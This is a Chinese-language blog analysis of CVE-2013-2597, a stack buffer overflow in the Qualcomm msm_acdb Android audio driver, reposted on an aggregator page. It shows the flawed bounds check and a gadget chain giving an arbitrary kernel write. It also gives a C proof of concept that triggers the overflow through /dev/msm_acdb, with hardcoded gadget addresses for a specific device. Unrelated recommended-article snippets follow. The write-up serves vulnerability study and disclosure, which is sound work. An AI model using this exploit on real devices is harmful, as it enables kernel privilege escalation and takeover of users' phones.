/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1. 漏洞描写叙述

音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的參数时没有做有效的边界检查。应用程序能够通过/dev/msm_acdb设备文件就能达到提升权限的目的。

2. 漏洞分析

  1. 原始代码例如以下
  1. if (size <= 0) {
  2. pr_err("%s: Invalid size sent to driver: %d\n",
  3. __func__, size);
  4. result = -EFAULT;
  5. goto done;
  6. }
  7. if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {
  8. pr_err("%s: fail to copy table size %d\n", __func__, size);
  9. result = -EFAULT;
  10. goto done;
  11. }
  1. acdb驱动在处理ioctl的时候,仅仅对输入的參数大小做了size<=0的推断,而没有做>的推断,紧接着,copy_from_user(data, (void *)(arg + sizeof(size)), size)的调用造成局部变量data的栈溢出。


  1. 3. 漏洞利用
  1. 1.原来的流程 - do_vfs_ioctl调用acdb_ioctl后返回
  2.  
  3. do_vfs_ioctl:
  4. STMPW [SP], { R4-R9, LR }
  5. ...
  6. BL acdb_ioctl
  7. ...
  8. ADD SP, SP, #$44 // (2)
  9. LDMUW [SP], { R4-R9, PC } // (1)
  10.  
  11. 2.acdb_ioctl当中一段,能够获得控制PC的机会。改动寄存器的位置是 (3),这里能够操作R4-PC的全部数值了

  1. acdb_ioctl:
  2. ...
  3. ADD SP, SP, #$84
  4. LDMUW [SP], { R4-R11, PC } // (3)
  5. 通过栈溢出,改动R5R9PC的值。


  1. 3.上面的指令,通过堆栈溢出,控制PC的值,跳转到以下代码运行
  1. STR R5, [R9] // (4)
  2. LDMUW [SP], { R4-R10, PC } // (5)
  3. 此处很关键,主要通过STR指令,将R5的值设置到R9的地址中,即通过栈溢出达到随意地址写的目的。


  1. 4.运行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC,即返回到(2)那里去
  1. ADD SP, SP, #$24 // (6)
  2. LDMUW [SP], { R4-R9, PC }
  3. 5.实际栈的位置和p->data的位置须要硬编码适配。
    p->data[...]的値须要初始化的时候设置。
    硬编码的地址请在pc上通过崩溃的日志分析。
    p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个样例中,PC在&p->data[0x9c]的位置。

  1. 例:
  1. ACDB=> ACDB ioctl not found!
  2. Unable to handle kernel paging request at virtual address 9f9e9d9c
  3. pgd = df56c000
  4. [9f9e9d9c] *pgd=00000000
  5. Internal error: Oops: 80000005 [#1] PREEMPT SMP
  6. Modules linked in:
  7. CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
  8. PC is at 0x9f9e9d9c
  9. LR is at acdb_ioctl+0x740/0x860
  1. 6.设置好堆栈布局
  2. ((unsigned int)&p->data[0x80]) = value;     //r5: PC - 4*7
  3. ((unsigned int)&p->data[0x90]) = address;   //r9: PC - 4*3
  4. ((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
  5. ((unsigned int)&p->data[0xbc]) = (6)地址;   //pc: PC + 4*8
  6. 4. PoC

  1. static int
  2. write_value(const acdb_param *param, unsigned long address, unsigned long value)
  3. {
  4.     const char *device_name = "/dev/msm_acdb";
  5.     struct acdb_ioctl arg;
  6.     int fd;
  7.     int ret;
  8.     int i;
  9.     fd = open(device_name, O_RDONLY);
  10.     if (fd < 0) {
  11.       ALOGI("failed to open %s due to %s.\n", device_name, strerror(errno));
  12.       return -1;
  13.     }
  14.     arg.size = param->pc2.pos + 4;
  15.     for (i = 0; i < arg.size; i += 4) {
  16.       *(unsigned long int *)&arg.data[i] = i;
  17.     }
  18.     *(unsigned long int *)&arg.data[param->address_pos] = address; // R9<span style="white-space:pre">	</span>
  19.     *(unsigned long int *)&arg.data[param->value_pos] = value; // R5
  20.     *(unsigned long int *)&arg.data[param->pc1.pos] = param->pc1.value; //
  21.     *(unsigned long int *)&arg.data[param->pc2.pos] = param->pc2.value; //
  22.     ret = ioctl(fd, 9999, &arg); // 随意触发一个ioctl,造成堆栈溢出,使得随意地址写入漏洞的触发
  23.     close(fd);
  24.     return 0;
  25. }
  26. 当中,param的值相应例如以下:

  1. { DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } } },
  2. 5.漏洞修复

  1. 添加了对size上限的控制
  1.  
  1. 參考文章:
  1. http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html
  1. https://www.codeaurora.org/projects/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
  1. https://gist.github.com/fi01/5857693

Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)的更多相关文章

  1. BUFFER OVERFLOW 10 Vulnerability & Exploit Example

    SRC= http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html THE VULNERABLE AND THE EXPLOIT     W ...

  2. CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android. Buffer Overflow Vulnerability reported by #plzdonthackme, Soctt.

    CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android.Buffer Overflow Vu ...

  3. buffer overflow

    Computer Systems A Programmer's Perspective Second Edition We have seen that C does not perform any ...

  4. buffer overflow vulnerabilitie

    Computer Systems A Programmer's Perspective Second Edition Avoiding security holes.For many years,bu ...

  5. ORA-20000: ORU-10027: buffer overflow, limit of 10000 bytes

        要用dbms_output.put_line来输出语句,遇到以下错误: ERROR 位于第 1 行: ORA-20000: ORU-10027: buffer overflow, limit ...

  6. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  7. 缓存溢出Buffer Overflow

    缓存溢出(Buffer overflow),是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址.在某些情况下,这些过量的字符能够作为“可执行”代码来运 ...

  8. (原创)攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

    堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的.了解堆栈溢出之前,先了解以下几个概念: 缓冲区 简单说来是一块连续的计算机内存区域,可以保存相同数据类型的多个实例. 堆栈     堆 栈是 ...

  9. Writing buffer overflow exploits - a tutorial for beginners

    Buffer overflows in user input dependent buffers have become one of the biggest security hazards on ...

随机推荐

  1. (白书训练计划)UVa 120 Stacks of Flapjacks(构造法)

    题目地址:UVa 120 水题. 从最大的開始移,每次都把大的先翻到最上面,再翻到以下. 代码例如以下: #include <iostream> #include <cstdio&g ...

  2. 在阿里云的CentOS环境中安装django

    购买了一台阿里云主机.操作系统为CentOS 6.5.准备在上面跑Django做Web开发.因为CentOS自带的python版本号较低,安装Django先要安装新版本号python.还是费了点周折. ...

  3. class 添加样式,删,开关 【选择】addClass,removeClass,toggleClass

    <1> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>< ...

  4. Java字节流和字符流

    file.txt文本中存储的内容: 好abc 1.字符流处理: package com.wjy.java; import java.io.FileInputStream; import java.io ...

  5. Storm-0.9.2-incubating源代码编译打包

    近期遇到一些同学询问Storm-0.9.2-incubating源代码编译打包的问题,现将编译步骤说明例如以下: 1.凝视掉project各pom文件里关于maven插件(maven-gpg-plug ...

  6. 一个用js写的接口http调试程序

    公司有非常多手机app的项目.手机app又要常常訪问后台提交与查询数据. 所曾经端app与后台的开发与測试过程中接口调试是一个常常要做的工作. 而每当出现一个BUG,前端appproject师与后台p ...

  7. java 短信验证码===随机数

    生成验证码,验证码生成 String mobile = phone;// 手机号码,多个号码使用","分割 // 生成随机6位码 String s = ""; ...

  8. 基于.net开发chrome核心浏览器【三】

    原文:基于.net开发chrome核心浏览器[三] 本篇我们讲解怎么用CefGlue开发一个最简单的浏览器 一: CefGlue是建立在Cef项目之上的,Cef项目是C/C++的项目:CefGlue只 ...

  9. 用python调用R做数据分析-准备工作

    0.R的介绍 R是自由软件,不带不论什么担保.在某些条件下你能够将其自由散布,用'license()'或'licence()'来看散布的具体条件. R是个合作计划.有很多人为之做出了贡献,用'cont ...

  10. hibernate操作数据库总结

    这篇文章用于总结hibernate操作数据库的各种方法 一.query方式 1.hibernate使用原生态的sql语句执行数据库查询 有些时候有些开发人员总觉得用hql语句不踏实,程序出现了错误,就 ...